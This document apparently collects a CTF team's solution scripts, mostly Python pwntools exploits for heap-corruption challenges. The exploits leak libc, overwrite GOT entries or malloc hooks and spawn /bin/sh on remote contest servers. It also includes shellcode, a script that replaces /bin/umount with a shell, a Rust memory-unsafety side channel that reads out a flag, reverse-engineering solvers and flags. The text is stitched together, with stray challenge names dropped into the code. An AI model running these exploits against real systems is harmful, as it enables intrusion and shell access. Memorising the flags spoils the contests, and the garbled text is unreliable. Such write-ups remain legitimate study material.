p.recvuntil('What is the index of the item to be modified?')
p.sendline(str(idx))
p.recvuntil('What is the content of the message?')
p.send(buf)
p.recvuntil('Edit successfully.')
def main():
debug_env = DockerDebug('ubuntu-1604')
# program path in docker
#p = debug_env.process('./easyheap')
p = remote('121.36.209.145', 9997)
payload = p64(0x602018) + p64(0x400) + b'a'*0x10 + p64(0x602050)
add(p, 0x400, payload)
delete(p, 0)
add(p, 0x401, '')
add(p, 0x401, '')
add(p, 0x401, '')
edit(p, 1, p64(0x400670))
delete(p, 2)
system_addr = u64(p.recvuntil(b'\x7f') + b'\x00\x00') + 0xe510
log.info('system: {}'.format(hex(system_addr)))
add(p, 0x400, '/bin/sh\x00')
edit(p, 1, p64(system_addr))
delete(p, 2)
#debug_env.attach(p, gdbscript='')
p.interactive()
if __name__ == '__main__':
main()
from pwn import *
# s = process("./easyheap")
s = remote("121.36.209.145",9997)
elf = ELF("./easyheap")
def add(size,buf):
s.sendlineafter("Your choice:","1")
s.sendlineafter("How long is this message?",str(size))
s.sendafter("What is the content of the message?",str(buf))
def edit(idx,buf):
s.sendlineafter("Your choice:","3")
s.sendlineafter("What is the index of the item to be
modified?",str(idx))
s.sendafter("What is the content of the message?",str(buf))
def free(idx):
s.sendlineafter("Your choice:","2")
s.sendlineafter("What is the index of the item to be
deleted?",str(idx))
# gdb.attach(s,"""
# b *0x400B93
# c
# """)
add(0x100,p64(0x6020C0)*(0x100/8))#0
free(0)
add(0x20,'AAA')#0
free(1)
add(0,'')#1
s.sendlineafter("Your choice:","1")
s.sendlineafter("How long is this message?",str(12345678))
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
edit(2,p64(0x6020c8)+p64(free_got)+p64(0x6020d8)+p64(0x6020c0)+p64(0x6020e8)+
p64(puts_got)+p64(0x6020f8)+p64(atoi_got)+p64(0x1234))
edit(0,p64(puts_plt))
free(4)
s.recvline()
puts = u64(s.recv(6).ljust(8,'\x00'))
libc = ELF("./libc.so.6")
offset = puts - libc.symbols['puts']
success(hex(offset))
system = offset + libc.symbols['system']
edit(6,p64(system))
s.interactive()
woodenbox
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
from pwn import *
context.arch= 'amd64'
context.log_level = 'debug'
r = lambda x: p.recvuntil(x,drop=True)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y : p.sendlineafter(x,y)
# p = process('./woodenbox2')
HOST,PORT = '121.36.215.224',9998
p = remote(HOST,PORT)
e = ELF("./woodenbox2")
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def alloc(sz,cnt):
s(':',str(1))
s(':',str(sz))
s(':',cnt)
def edit(idx,sz,cnt):
s(':',str(2))
s(':',str(idx))
s(':',str(sz))
s(':',cnt)
def dele(idx):
s(':',str(3))
s(':',str(idx))
def z(cmd=""):
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']
pause()
gdb.attach(p,'''
b *__libc_malloc
c
'''+cmd)
alloc(0x68,'0'*0x68)
alloc(0x68,'1'*0x68)
alloc(0x68,'2'*0x68)
alloc(0x68,'3'*0x68)
edit(0,0x70,'0'*0x68+p64(0xe1))
easy_unicorn
dele(1)
dele(1)
alloc(0x38,'6'*0x38)
alloc(0x28,'7'*0x28)
# leaking
edit(2,0x32,'5'*0x28+p64(0x71)+'\xdd\x25')
alloc(0x68,'\0'*0x68)
alloc(0x68,'\x00'*0x33+p64(0xfbad3c80)+3*p64(0)+p8(0))
p.recv(0x48)
l.address = u64(p.recv(8))-0x3c56a3
log.info('l.address:'+hex(l.address))
__malloc_hook = l.symbols['__malloc_hook']
log.info('__malloc_hook:'+hex(__malloc_hook))
realloc = l.symbols['realloc']
log.info('realloc:'+hex(realloc))
one = l.address+0x4526a
log.info('one:'+hex(one))
dele(3)
edit(1,0x38,'5'*0x28+p64(0x71)+p64(__malloc_hook-0x23))
alloc(0x68,'\0'*0x68)
alloc(0x68,'\x00'*(0x13-0x8)+p64(one)+p64(realloc))
s(':',str(1))
s(':',str(0x8))
# flag{D0_y0u_kn0w_h0o34_o7_R0m4n?}
p.interactive()
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os, struct, time
env = os.environ.copy()
env['LD_LIBRARY_PATH'] = "./"
context.log_level = 'DEBUG'
context.arch = 'amd64'
p = process("./x86_sandbox", env=env)
#p = remote("121.37.167.199", 9998)
p.recvuntil("[1;31;5m ")
code = map(lambda x: int(x, 16), p.recvuntil(" \x1B[0m\n", drop=True).split('-
'))
data = map(ord, struct.pack("<LLLL", *code))
for i in xrange(14, -1, -1):
data[i] ^= data[i + 1]
passwd = ''.join(map(chr, data)).encode('hex')
prompt = lambda: p.recvuntil("<< ")
for _ in xrange(0x20):
prompt()
p.sendline("")
prompt()
p.sendline(passwd)
shellcode = '''
call doit
.asciz "flag.txt"
doit:
pop rdi
xor rdx, rdx
xor rsi, rsi
mov eax, 2
syscall
xor rax, rax
mov edi, 3
mov edx, 0x100
mov rsi, rsp
syscall
mov eax, 1
mov edi, 1
mov rsi, rsp
mov edx, 0x100
syscall
'''
shellasm = asm(shellcode)
p.recvuntil("ptr:")
ptr = int(p.recvline().strip(), 16)
time.sleep(1)
p.sendafter("data<<", shellasm.ljust(1280))
p.sendlineafter("ptr<<", str(ptr))
p.sendlineafter("arg0<<", str(ptr))
p.sendlineafter("arg1<<", str(ptr))
p.sendlineafter("arg2<<", str(ptr))
bjut
p.interactive()
from pwn import *
# from LibcSearcher import LibcSearcher
# s = process("./hw")
s = remote("121.37.167.199",9997)
libc = ELF("./libc.so.6")
def add(size,buf):
s.sendlineafter(">","1")
s.sendlineafter("The length of your hw:",str(size))
s.sendafter("Input your hw:",buf)
def show(idx):
s.sendlineafter(">","4")
s.sendlineafter("The index of your hw:",str(idx))
def free(idx):
s.sendlineafter(">","3")
s.sendlineafter("The index of your hw:",str(idx))
def edit(idx,buf):
s.sendlineafter(">","2")
s.sendlineafter("The index of your hw:",str(idx))
s.sendafter("Input your hw:",str(buf))
# gdb.attach(s,"""
# b *0x40180f
# c
# """)
add(0x40,'AAAA')#0
free(0)
show(-1879)
s.recvuntil("Your hw:\n")
free = u64(s.recv(6).ljust(8,'\x00'))
success(hex(free))
# libc = LibcSearcher("free",free)
offset = free-libc.symbols['free']
success(hex(offset))
system = offset+libc.symbols['system']
edit(-1879,p64(system))
Kernoob
flag...
EasyVM
add(0x40,'/bin/sh\x00')#0
# free(0)
# raw_input(">")
s.sendline("5")
s.interactive()
from pwn import *
#r = process('./EasyVM')
r = remote('121.36.215.224',9999)
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
def send(content):
r.recvuntil(">>> ")
r.sendline("1")
sleep(1)
r.send(content)
def run():
r.recvuntil(">>> \n")
r.sendline("2")
def free():
r.recvuntil(">>> ")
r.sendline("3")
def gift():
r.recvuntil(">>> ")
r.sendline("4")
def swrite(idx,value):
payload = '\x80'+chr(idx)+p32(value)
return payload
#leak
gift()
payload = '\x09\x11\x99'
send(payload)
run()
x = r.recvuntil("\n")[:-1]
x = int(x,16)
free_got = 0x56557FBC - 0x56555000+x-0x6c0
babyhacker
flag
babyhacker2
print(hex(free_got))
free_libc = ''
for i in range(4):
payload = swrite(3,free_got+i)+'\x53'+'\x99'+'\x99'
send(payload)
run()
free_libc += r.recv(1)
libc = u32(free_libc) - 0x071470
print(hex(libc))
free_hook = 0xf7fb68b0-0xf7e03000+libc
system = 0xf7e3dda0-0xf7e03000+libc
for i in range(4):
payload = swrite(3, free_hook+i) + '\x54'+'\x99'*2
send(payload)
run()
r.send(p32(system)[i])
payload1 = '\x80'+chr(16)+'/bin'+'\x99'
send(payload1)
run()
payload2 = '\x80'+chr(17)+'/sh\x00'+'\x99'
send(payload2)
run()
free()
r.interactive()
from pwn import *
io = remote('121.36.215.224', 9001)
#ssh_io = ssh('pwn', '121.37.167.199', port = 10022,password='pwn')
#io = ssh_io.shell()
io.sendlineafter('$', 'cd /')
io.sendlineafter('$', 'rm /bin/umount')
io.sendlineafter('$', "echo '#!/bin/sh' > /bin/umount")
io.sendlineafter('$', "echo '/bin/sh' >> /bin/umount")
io.sendlineafter('$',"chmod +x /bin/umount")
io.sendlineafter('$',"exit")
io.sendline("cat /flag")
rustpad
io.interactive()
#ssh_io.close()
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from functools import wraps
import errno
import os
import signal
context.log_level = 'error'
class TimeoutError(Exception):
pass
def timeout(seconds=10, error_message=os.strerror(errno.ETIME)):
def decorator(func):
def _handle_timeout(signum, frame):
raise TimeoutError(error_message)
def wrapper(*args, **kwargs):
signal.signal(signal.SIGALRM, _handle_timeout)
signal.alarm(seconds)
try:
result = func(*args, **kwargs)
finally:
signal.alarm(0)
return result
return wraps(func)(wrapper)
return decorator
code_tpl = '''static BS: usize = 0xaabbccdd;
static UNIT: &'static &'static () = &&();
fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T) -> &'a T {{ v }}
fn bad<'a, T>(x: &'a T) -> &'static T {{ let f: fn(_, &'a T) -> &'static T =
foo; f(UNIT, x) }}
fn foow<'a, 'b, T>(_: &'a &'b (), v: &'b mut T) -> &'a mut T {{ v }}
fn badw<'a, T>(x: &'a mut T) -> &'static mut T {{ let f: fn(_, &'a mut T) ->
&'static mut T = foow; f(UNIT, x) }}
fn jackpot() {{ let mut i: u64 = 0; while i < 0x100000000 {{ i += 1; }} }}
pub fn code() {{
fn inner() -> &'static Vec<u8> {{ let x = Box::new(Vec::new()); bad(&*x) }}
let x = inner(); let mut y = Box::new((1usize, 2usize, 3usize));
let mut i: usize = &BS as *const _ as usize; let mut r = |addr: usize| {{
y.0 = addr; x[0] }};
let r32 = |r: &mut FnMut(usize) -> u8, x: usize| {{ let mut tmp = 0u32; for
j in 0..4 {{ tmp |= (r(x+j) as u32) << (8 * j); }} tmp }};
let r64 = |r: &mut FnMut(usize) -> u8, x: usize| {{ let mut tmp = 0u64; for
j in 0..8 {{ tmp |= (r(x+j) as u64) << (8 * j); }} tmp }};
fn eswap(x: u32) -> u32 {{ (x & 0xff000000) >> 24 | (x & 0x00ff0000) >> 08 |
(x & 0x0000ff00) << 08 | (x & 0x000000ff) << 24 }}
let mut fl: bool = false; loop {{ let v = r32(&mut r, i); if eswap(v) ==
0x666c6167 {{ fl = true; break; }} if eswap(v) == 0x7f454c46 && i & 3 == 0 {{
break; }} i -= 1; }}
if fl {{ if r(i + {index}) > {mid} {{ jackpot(); }} }}
}}'''
verify_tpl = '''static BS: usize = 0xaabbccdd;
static UNIT: &'static &'static () = &&();
fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T) -> &'a T {{ v }}
fn bad<'a, T>(x: &'a T) -> &'static T {{ let f: fn(_, &'a T) -> &'static T =
foo; f(UNIT, x) }}
fn foow<'a, 'b, T>(_: &'a &'b (), v: &'b mut T) -> &'a mut T {{ v }}
fn badw<'a, T>(x: &'a mut T) -> &'static mut T {{ let f: fn(_, &'a mut T) ->
&'static mut T = foow; f(UNIT, x) }}
fn jackpot() {{ let mut i: u64 = 0; while i < 0x100000000 {{ i += 1; }} }}
pub fn code() {{
fn inner() -> &'static Vec<u8> {{ let x = Box::new(Vec::new()); bad(&*x) }}
let x = inner(); let mut y = Box::new((1usize, 2usize, 3usize));
let mut i: usize = &BS as *const _ as usize; let mut r = |addr: usize| {{
y.0 = addr; x[0] }};
let r32 = |r: &mut FnMut(usize) -> u8, x: usize| {{ let mut tmp = 0u32; for
j in 0..4 {{ tmp |= (r(x+j) as u32) << (8 * j); }} tmp }};
let r64 = |r: &mut FnMut(usize) -> u8, x: usize| {{ let mut tmp = 0u64; for
j in 0..8 {{ tmp |= (r(x+j) as u64) << (8 * j); }} tmp }};
fn eswap(x: u32) -> u32 {{ (x & 0xff000000) >> 24 | (x & 0x00ff0000) >> 08 |
(x & 0x0000ff00) << 08 | (x & 0x000000ff) << 24 }}
let mut fl: bool = false; loop {{ let v = r32(&mut r, i); if eswap(v) ==
0x666c6167 {{ fl = true; break; }} if eswap(v) == 0x7f454c46 && i & 3 == 0 {{
break; }} i -= 1; }}
if fl {{ if r(i + {index}) != {val} {{ jackpot(); }} }}
}}'''
retrieve_tpl = '''static BS: usize = 0xaabbccdd;
static UNIT: &'static &'static () = &&();
fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T) -> &'a T {{ v }}
fn bad<'a, T>(x: &'a T) -> &'static T {{ let f: fn(_, &'a T) -> &'static T =
foo; f(UNIT, x) }}
fn foow<'a, 'b, T>(_: &'a &'b (), v: &'b mut T) -> &'a mut T {{ v }}
fn badw<'a, T>(x: &'a mut T) -> &'static mut T {{ let f: fn(_, &'a mut T) ->
&'static mut T = foow; f(UNIT, x) }}
fn jackpot() {{ let mut i: u64 = 0; while i < 0x100000000 {{ i += 1; }} }}
pub fn code() {{
fn inner() -> &'static Vec<u8> {{ let x = Box::new(Vec::new()); bad(&*x) }}
let x = inner(); let mut y = Box::new((1usize, 2usize, 3usize));
let mut i: usize = &BS as *const _ as usize; let mut r = |addr: usize| {{
y.0 = addr; x[0] }};
let r32 = |r: &mut FnMut(usize) -> u8, x: usize| {{ let mut tmp = 0u32; for
j in 0..4 {{ tmp |= (r(x+j) as u32) << (8 * j); }} tmp }};
let r64 = |r: &mut FnMut(usize) -> u8, x: usize| {{ let mut tmp = 0u64; for
j in 0..8 {{ tmp |= (r(x+j) as u64) << (8 * j); }} tmp }};
fn eswap(x: u32) -> u32 {{ (x & 0xff000000) >> 24 | (x & 0x00ff0000) >> 08 |
(x & 0x0000ff00) << 08 | (x & 0x000000ff) << 24 }}
let mut fl: bool = false; loop {{ let v = r32(&mut r, i); if eswap(v) ==
0x666c6167 {{ fl = true; break; }} if eswap(v) == 0x7f454c46 && i & 3 == 0 {{
break; }} i -= 1; }}
loop {{ let c = r(i); println!("{{}}", c); i += 1; }}
}}'''
@timeout(25)
def conn_sidechannel(p, code):
p.recvuntil('?')
p.sendline(code)
p.recvuntil("EOF")
def verify_char(index, val):
code = verify_tpl.format(index=index, val=val)
p = remote("159.138.4.209", 1001)
try:
conn_sidechannel(p, code)
except TimeoutError:
result = False
except EOFError:
result = True
except Exception, ex:
raise ex
try:
p.close()
except:
pass
return result
# I thought println! was forbidden....
def get_flag():
code = retrieve_tpl.format()
p = remote("159.138.4.209", 1001)
p.recvuntil("?")
p.sendline(code)
p.recvuntil("..\n")
flag = ''
Re
clock
while not flag.endswith('}'):
flag += chr(int(p.recvline().strip()))
p.close()
return flag
def guess_char(index):
l, r = 0x20, 0x7f
while r > l:
mid = (l + r) // 2
code = code_tpl.format(index=index, mid=mid)
print "Binsearch on %d with (%d, %d)" % (index, l, r)
p = remote("159.138.4.209", 1001)
try:
conn_sidechannel(p, code)
except TimeoutError:
l = mid + 1
except EOFError:
r = mid
except Exception, ex:
raise ex
try:
p.close()
except:
pass
return l
trophy = 'flag{2c9a594f-6e42-44e3-9767-fffc7deb0c32}'
index = len(trophy)
while not trophy.endswith('}'):
trophy += chr(guess_char(index))
index += 1
print "Result:", trophy
print get_flag()
#for x1 in range(2):
# for x2 in range(2):
# for x3 in range(2):
# print x1,x2,x3,(x1*x2)^((x2^1)*x3)
#n = [17,19,21]
#cycle = 1
#for i in n:
# cycle = cycle*(pow(2,i)-1)
#print cycle
THREADS = 80
def lfsr(R, mask, lfsr_mask):
output = (R << 1) & lfsr_mask
i = (R & mask) & lfsr_mask
lastbit = 0
while i != 0:
lastbit ^= (i & 1)
i = i >> 1
output ^= lastbit
return (output, lastbit)
SAMPLE = 40
R1_mask = 0x2A9A0D
n1 = 22
R1_lfsrmask = 0x3FFFFF
R2_mask = 0x17FA06
n2 = 21
R2_lfsrmask = 0x1FFFFF
R3_mask = 0x5E5E6A
n3 = 23
R3_lfsrmask = 0x7FFFFF
def single_round():
(R1_NEW, x1) = lfsr(R1, R1_mask, R1_lfsrmask)
(R2_NEW, x2) = lfsr(R2, R2_mask, R2_lfsrmask)
(R3_NEW, x3) = lfsr(R3, R3_mask, R3_lfsrmask)
# change the following according the situration
x2 = (~x2) & 1
return (R1_NEW, R2_NEW, R3_NEW, (x1 * x2) ^ ((x2 ^ 1) * x3))
def get_data(length=40):
data = open('./output_', "rb").read(length)
data = ''.join(bin(256 + ord(c))[3:] for c in data)
return data
def guess(beg, end, num, mask, lfsr_mask):
data = get_data(num)
target = int(len(data) * 0.75)
ansn = range(beg, end)
now = 0xffffffff
res = 0
for i in ansn:
r = i
cnt = 0
for j in range(num * 8):
r, lastbit = lfsr(r, mask, lfsr_mask)
lastbit = str(lastbit)
cnt += (lastbit == data[j])
if abs(cnt - target) < now:
now = abs(cnt - target)
res = i
#print now, res
return now, res
def bruteforce2(x, z):
data = get_data(50)
#for y in range(pow(2, n2 - 1), pow(2, n2)):
for y in range(0, pow(2, n2)):
R1, R2, R3 = x, y, z
flag = True
for i in range(len(data)):
(R1, R2, R3, out) = single_round()
if str(out) != data[i]:
flag = False
break
if y % 10000 == 0:
print 'now: ', x, y, z
if flag:
print 'ans: ', hex(x)[2:], hex(y)[2:], hex(z)[2:]
break
import multiprocessing as mp
def guess_R(curid):
#guess_range_n1 = (pow(2, n1 - 1), pow(2, n1))
guess_range_n1 = (0, pow(2, n1))
n1_slice = (guess_range_n1[1] - guess_range_n1[0]) / 80
newrange_s = guess_range_n1[0] + n1_slice * curid
newrange_e = guess_range_n1[0] + min(n1_slice * (curid + 1),
guess_range_n1)
R1now, R1 = guess(newrange_s, newrange_e, SAMPLE, R1_mask, R1_lfsrmask)
#print curid, R1
#guess_range_n3 = (pow(2, n3 - 1), pow(2, n3))
guess_range_n3 = (0, pow(2, n3))
n3_slice = (guess_range_n3[1] - guess_range_n3[0]) / 80
newrange_s = guess_range_n3[0] + n3_slice * curid
newrange_e = guess_range_n3[0] + min(n3_slice * (curid + 1),
guess_range_n3)
cycle graph
sub_401080
R3now, R3 = guess(newrange_s, newrange_e, SAMPLE, R3_mask, R3_lfsrmask)
#print curid, R3
return R1now,R1, R3now, R3
def main():
p = mp.Pool(THREADS)
ret = p.map(guess_R, range(THREADS))
print ret
r1 = [c[:2] for c in ret]
r3 = [c[2:] for c in ret]
best_r1 = 0
best_r1_now = 0xffffffff
for c in r1:
if c[0] < best_r1_now:
best_r1 = c[1]
best_r1_now = c[0]
best_r3 = 0
best_r3_now = 0xffffffff
for c in r3:
if c[0] < best_r3_now:
best_r3 = c[1]
best_r3_now = c[0]
print best_r1_now, best_r1, best_r3_now, best_r3
R1 = best_r1
R3 = best_r3
bruteforce2(R1, R3)
if __name__ == "__main__":
main()
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <algorithm>
#include <queue>
#include <string>
#include <iostream>
#include <map>
using namespace std;
int val[64] = {
52,
2,
44,
42,
6,
42,
47,
42,
51,
3,
2,
50,
50,
50,
48,
3,
1,
50,
43,
2,
46,
1,
2,
45,
50,
4,
45,
48,
49,
47,
51,
5,
5
};
int l[64] = {
2,
2,
1,
18,
7,
2,
26,
13,
4,
10,
4,
21,
14,
1,
0,
14,
5,
7,
28,
12,
28,
15,
15,
2,
16,
23,
30,
23,
19,
9,
22,
31,
0
};
int r[64] = {
1,
8,
7,
23,
9,
19,
31,
23,
9,
13,
12,
29,
10,
24,
9,
24,
25,
9,
26,
3,
22,
6,
17,
13,
7,
15,
20,
1,
16,
4,
11,
31
};
int vis[32];
typedef struct node {
string flag;
int step;
int pos;
} Node;
queue<node> q;
int main() {
Node a({"0", 0, 0});
q.push(a);
//vis[0] = 1;
while (!q.empty()) {
Node curr = q.front();
q.pop();
if (curr.step == 16 && curr.pos == 31) {
cout << curr.flag << endl;
}
// printf("%d\n", curr.pos);
int lv = l[curr.pos];
int rv = r[curr.pos];
string s = "a";
if (!vis[lv]) {
//vis[lv] = 1;
s[0] = curr.flag[curr.step] + val[curr.pos];
if (s[0] >= 32 && s[0] <= 127)
q.push({curr.flag + s, curr.step + 1, lv});
}
if (!vis[rv]) {
//vis[rv] = 1;
s[0] = curr.flag[curr.step] - val[curr.pos];
if (s[0] >= 32 && s[0] <= 127)
q.push({curr.flag + s, curr.step + 1, rv});
}
0
part1smcpart2
}
return 0;
}
def part1():
dst = [0] * 18
dst[0] = 17
dst[1] = 8
dst[2] = 6
dst[3] = 10
dst[4] = 15
dst[5] = 20
dst[6] = 42
dst[7] = 59
dst[8] = 47
dst[9] = 3
dst[10] = 47
dst[11] = 4
dst[12] = 16
dst[13] = 72
dst[14] = 62
dst[15] = 0
dst[16] = 7
dst[17] = 16
key = 'Rising_Hopper!'
v22 = [ord(e) for e in key]
result = []
for i in range(18):
for c in range(255):
if ~(c & v22[i % 14]) & (c | v22[i % 14]) == dst[i]:
result.append(c)
break
s = ''.join([chr(e) for e in result])
print(s)
def part2():
v9 = [0] * 51
v9[0] = 2007666
v9[1] = 2125764
v9[2] = 1909251
v9[3] = 2027349
v9[4] = 2421009
v9[5] = 1653372
v9[6] = 2047032
v9[7] = 2184813
v9[8] = 2302911
v9[9] = 2263545
v9[10] = 1909251
v9[11] = 2165130
v9[12] = 1968300
v9[13] = 2243862
v9[14] = 2066715
v9[15] = 2322594
v9[16] = 1987983
v9[17] = 2243862
v9[18] = 1869885
v9[19] = 2066715
v9[20] = 2263545
v9[21] = 1869885
v9[22] = 964467
v9[23] = 944784
v9[24] = 944784
v9[25] = 944784
v9[26] = 728271
v9[27] = 1869885
v9[28] = 2263545
v9[29] = 2283228
v9[30] = 2243862
v9[31] = 2184813
v9[32] = 2165130
v9[33] = 2027349
v9[34] = 1987983
v9[35] = 2243862
v9[36] = 1869885
v9[37] = 2283228
v9[38] = 2047032
v9[39] = 1909251
v9[40] = 2165130
v9[41] = 1869885
v9[42] = 2401326
v9[43] = 1987983
v9[44] = 2243862
v9[45] = 2184813
v9[46] = 885735
v9[47] = 2184813
baby_wasi
wasm2c _start exitmallocfree
main
v9[48] = 2165130
v9[49] = 1987983
v9[50] = 2460375
v11 = 19683
v12 = 0x8000000B
r = []
for i in range(51):
for c in range(255):
if v9[i] == v11 * c % v12:
r.append(c)
break
r = ''.join([chr(e) for e in r])
print(r)
if __name__ == '__main__':
part1()
part2()
boomshellcode
gen_keyshellcode
def f16(a1):
if a1 & 1 and a1 % 3:
v4 = 7
v3 = 1
while (v4 - 6) * (v4 - 6) < a1:
if v4 == 2:
raise Exception("3")
if a1 % (v4 - 2) != 0:
if not v4:
raise Exception("3")
v2 = a1 % v4
v4 += 6
if v2:
continue
v3 = 0
break
else:
v3 = 0
return v3
def revint(i):
return int(str(i)[::-1])
def is_special_num(a1):
v3 = 0
v2 = revint(a1)
if v2 != a1 and f16(a1) != 0:
v3 = f16(v2) != 0;
return v3
def genkey(cur):
v4 = cur + 1;
cura = 0;
i = 0;
v1 = 0;
while i < v4:
v3 = is_special_num(cura);
if v3:
v1 = cura
cura += 1
i += v3
return v1
'''
for i in range(10000, 10100):
print genkey(i)
'''
from pwn import *
context.arch = 'amd64'
payload = asm(shellcraft.amd64.linux.sh())
import subprocess
context.log_level = "debug"
#io = process("./baby_wasi")
while True:
try:
io = remote("121.37.164.32", 19008)
io.recvuntil("Your lucky number: ")
luckynum = int(io.recvline())
p = fsubprocess.Popen("./lucky %d" % luckynum, stdin=PIPE,
stdout=PIPE)
ret = p.communicate(payload)[0]
payload = ''.join([chr((ord(c) ^ genkey(i + luckynum)) & 0xff) for i,c
in enumerate(payload)])
io.sendline(payload)
fxck!
ABCDEFGHJKLMNPQRSTUVWXYZ123456789abcdefghijkmnopqrstuvwxyz
base58base58
dumpbase58decode
io.sendline("whoami")
io.interactive()
except EOFError:
print "Failed"
'''Base58 encoding
Implementations of Base58 and Base58Check encodings that are compatible
with the bitcoin network.
'''
# This module is based upon base58 snippets found scattered over many bitcoin
# tools written in python. From what I gather the original source is from a
# forum post by Gavin Andresen, so direct your praise to him.
# This module adds shiny packaging and support for python3.
from hashlib import sha256
from typing import Union
__version__ = '2.0.0'
# 58 character alphabet used
BITCOIN_ALPHABET = \
b'ABCDEFGHJKLMNPQRSTUVWXYZ123456789abcdefghijkmnopqrstuvwxyz'
RIPPLE_ALPHABET =
b'rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz'
# Retro compatibility
alphabet = BITCOIN_ALPHABET
def scrub_input(v: Union[str, bytes]) -> bytes:
if isinstance(v, str):
v = v.encode('ascii')
return v
def b58encode_int(
i: int, default_one: bool = True, alphabet: bytes = BITCOIN_ALPHABET
) -> bytes:
"""
Encode an integer using Base58
"""
if not i and default_one:
return alphabet[0:1]
string = b""
while i:
i, idx = divmod(i, 58)
string = alphabet[idx:idx+1] + string
return string
def b58encode(
v: Union[str, bytes], alphabet: bytes = BITCOIN_ALPHABET
) -> bytes:
"""
Encode a string using Base58
"""
v = scrub_input(v)
nPad = len(v)
v = v.lstrip(b'\0')
nPad -= len(v)
p, acc = 1, 0
for c in reversed(v):
acc += p * c
p = p << 8
result = b58encode_int(acc, default_one=False, alphabet=alphabet)
return alphabet[0:1] * nPad + result
def b58decode_int(
v: Union[str, bytes], alphabet: bytes = BITCOIN_ALPHABET
) -> int:
"""
Decode a Base58 encoded string as an integer
"""
v = v.rstrip()
v = scrub_input(v)
decimal = 0
for char in v:
decimal = decimal * 58 + alphabet.index(char)
return decimal
def b58decode(
v: Union[str, bytes], alphabet: bytes = BITCOIN_ALPHABET
) -> bytes:
"""
Decode a Base58 encoded string
"""
v = v.rstrip()
v = scrub_input(v)
origlen = len(v)
v = v.lstrip(alphabet[0:1])
newlen = len(v)
acc = b58decode_int(v, alphabet=alphabet)
result = []
while acc > 0:
acc, mod = divmod(acc, 256)
result.append(mod)
return b'\0' * (origlen - newlen) + bytes(reversed(result))
def b58encode_check(
v: Union[str, bytes], alphabet: bytes = BITCOIN_ALPHABET
) -> bytes:
"""
Encode a string using Base58 with a 4 character checksum
"""
v = scrub_input(v)
digest = sha256(sha256(v).digest()).digest()
return b58encode(v + digest[:4], alphabet=alphabet)
def b58decode_check(
v: Union[str, bytes], alphabet: bytes = BITCOIN_ALPHABET
) -> bytes:
'''Decode and verify the checksum of a Base58 encoded string'''
result = b58decode(v, alphabet=alphabet)
result, check = result[:-4], result[-4:]
digest = sha256(sha256(result).digest()).digest()
if check != digest[:4]:
raise ValueError("Invalid checksum")
return result
print(b58decode('4VyhuTqRfYFnQ85Bcw5XcDr3ScNBjf5CzwUdWKVM7SSVqBrkvYGt7SSUJe'))
v0-v4Inori
v5 = 1;
v6 = 0;
v7 = 1;
v8 = 0;
v9 = 1;
for ( i = 0; i <= 4; ++i )
{
if ( (*(&v0 + i) & 1) != *(&v5 + i) )
return;
}
if ( v0 != v1
&& v0 != v2
&& v0 != v3
&& v0 != v4
&& v1 != v2
&& v1 != v3
&& v1 != v4
&& v2 != v3
&& v2 != v4
&& v3 != v4
&& v0 + 32 == v4
&& !(v0 >> 7)
&& !(v1 >> 7)
&& !(v2 >> 7)
&& !(v3 >> 7)
&& !(v4 >> 7)
&& v0 >> 6 == 1
&& v1 >> 6 == 1
&& v2 >> 6 == 1
&& v3 >> 6 == 1
&& abs(v1 - v2) == 1
&& abs(v2 - v3) == 3
&& abs(v3 - v4) == 9
&& v0 >> 5 <= 9
&& v1 >> 5 <= 9
&& v2 >> 5 <= 6
&& v3 >> 5 <= 5
&& v4 >> 5 <= 7
&& (v0 & 9) == 9
&& v3 & 2
&& (v1 & 0xE) == 14 )
“QWERTYUIOPrewqtyui0987654”
68
Re_Happy
QWERTYUIOPrewqtyui0987654
OTUIIYUirYrqOROIEPOE
[8, 4, 6, 7, 7, 5, 6, 17, 10, 5, 10, 13, 8, 3, 8, 7, 2, 9, 8, 2, 8, 7, 11, 15]
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <algorithm>
#include <queue>
#include <string>
#include <iostream>
#include <map>
using namespace std;
int main() {
unsigned char res[24] = {6, 4, 8, 7, 7, 5, 6, 17, 10, 5, 10, 13, 8, 3, 8, 7,
2, 9, 8, 2, 8, 7, 11, 15};
for (int idx = 0; idx < 8; idx++) {
for (unsigned char val = 32; val <= 127; val++) {
unsigned char a = val >> 4;
unsigned char b = val & 0xf;
unsigned char c = a ^ b;
int ii = idx * 3;
int jj = idx * 3 + 1;
int kk = idx * 3 + 2;
if (!(a & 1)) ++a;
if (!(ii & 1)) ++a;
++b;
++b;
if (c & 1) ++c;
if (ii & 1) ++c;
if (a == res[ii] && b == res[jj] && c == res[kk]) {
printf("%c", val);
}
}
}
}
Hint 1.graph 2.
mainfor
E20B1A1A13F9
for (i = 0; i <= 11; i++)
#include <stdio.h>
int main() {
char v4[12] = {0};
char v5[12] = {0};
char v6[12] = {0};
v4[0] = -67;
v4[1] = -46;
v4[2] = -16;
v4[3] = -62;
v4[4] = -47;
v4[5] = -63;
v4[6] = -47;
v4[7] = -63;
v4[8] = -47;
v4[9] = -49;
v4[10] = -66;
v4[11] = -55;
v5[0] = -2;
v5[1] = -4;
v5[2] = -32;
v5[3] = -4;
v5[4] = -2;
v5[5] = -2;
v5[6] = -2;
v5[7] = -2;
v5[8] = -2;
v5[9] = -2;
v5[10] = -4;
v5[11] = -2;
for ( int i = 0; i <= 11; ++i )
{
v4[i] ^= v5[i];
v5[i] -= v4[i];
v4[i] += v5[i];
v4[i] ^= v5[i];
v5[i] += v4[i];
v4[i] -= v5[i];
v6[i] = 1;
}
printf("%s %s %s", v4, v5, v6);
}
ABCDEF01234567890123456789ABCDEF
Happy_
Happy_ + Re_Happy + _ + Inori
flag{Happy_Re_Happy_Inori}
Rubik
>>> import string
>>> t = string.maketrans("ABCDEF0123456789", "0123456789ABCDEF")
>>> a = 'E20B1A1A13F9'
>>> a.translate(t)
